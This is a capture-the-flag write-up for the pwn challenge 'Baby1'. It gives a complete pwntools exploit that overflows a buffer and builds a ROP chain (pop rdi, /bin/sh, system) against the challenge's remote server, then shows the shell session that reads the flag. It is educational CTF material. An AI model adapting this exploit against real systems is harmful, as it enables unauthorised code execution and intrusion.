Baby1

Category : pwn

---

from pwn import *

#######################

p = remote('baby-01.pwn.beer' ,10001)
#p = process("./baby1")

######################

offset = 24
win_ret = 0x4006b2
gadget = 0x0000000000400793 # pop rdi ; ret
binsh = 0x0000000000400286 # /bin/sh
system = 0x0000000000400560

### Payload ###

pay = "A" * offset
pay += p64(win_ret)
pay += p64(gadget)
pay += p64(binsh)
pay += p64(system)
###################

print p.recvline()
p.sendline(pay)
p.interactive()

---

zer0@overflow ~/C/s/p/baby1> python exp.py 
[+] Opening connection to baby-01.pwn.beer on port 10001: Done


[*] Switching to interactive mode
                                                 Rather ROP than RIP --Lars Tzu 2019

  ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██
▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █
█           █  █ █           █  █ █           █  █ █           █  █ █           █  █
█   ▄▀▀▀▄   █  █ █   █▀▀▀▄   █  █ █   █   █   █  █ █   █▀▀▀▄   █  █ █    ▄█     █  █
█   █▄▄▄█   █  █ █   █▄▄▄▀   █  █ █   ▀▄▄▄▀   █  █ █   █▄▄▄▀   █  █ \x1b[42;1m█   ▀ █     █  █
█   █   █   █  █ █   █   █   █  █ █     █     █  █ █   █   █   █  █ █     █     █  █
█   ▀   ▀   █ ▄▀ █   ▀▀▀▀    █ ▄▀ █     ▀     █ ▄▀ █   ▀▀▀▀    █ ▄▀ █   ▀▀▀▀▀   █ ▄▀
█▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀

input: $ ls
baby1
flag
redir.sh
$ cat flag
sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}
$ 

kita berhasil mendapatkan Flag...

FLAG : sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}

Original writeup (https://github.com/zer0verflow/Writes-Up/blob/master/On-line/baby1/baby1.md).